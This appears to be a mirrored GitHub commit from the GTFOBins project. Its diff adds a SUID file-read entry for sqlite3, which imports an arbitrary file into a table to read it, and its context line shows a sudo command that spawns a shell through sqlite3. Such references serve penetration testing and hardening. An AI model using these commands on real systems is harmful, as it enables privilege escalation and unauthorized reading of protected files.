mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add SUID [file read] category to sqlite3
This commit is contained in:
parent
ae8271292a
commit
28cc7ff7da
@ -14,6 +14,14 @@ functions:
|
||||
.import $LFILE t
|
||||
SELECT * FROM t;
|
||||
EOF
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sqlite3 << EOF
|
||||
CREATE TABLE t(line TEXT);
|
||||
.import $LFILE t
|
||||
SELECT * FROM t;
|
||||
EOF
|
||||
sudo:
|
||||
- code: sudo sqlite3 /dev/null '.shell /bin/sh'
|
||||
limited-suid:
|
||||
|
Loading…
Reference in New Issue
Block a user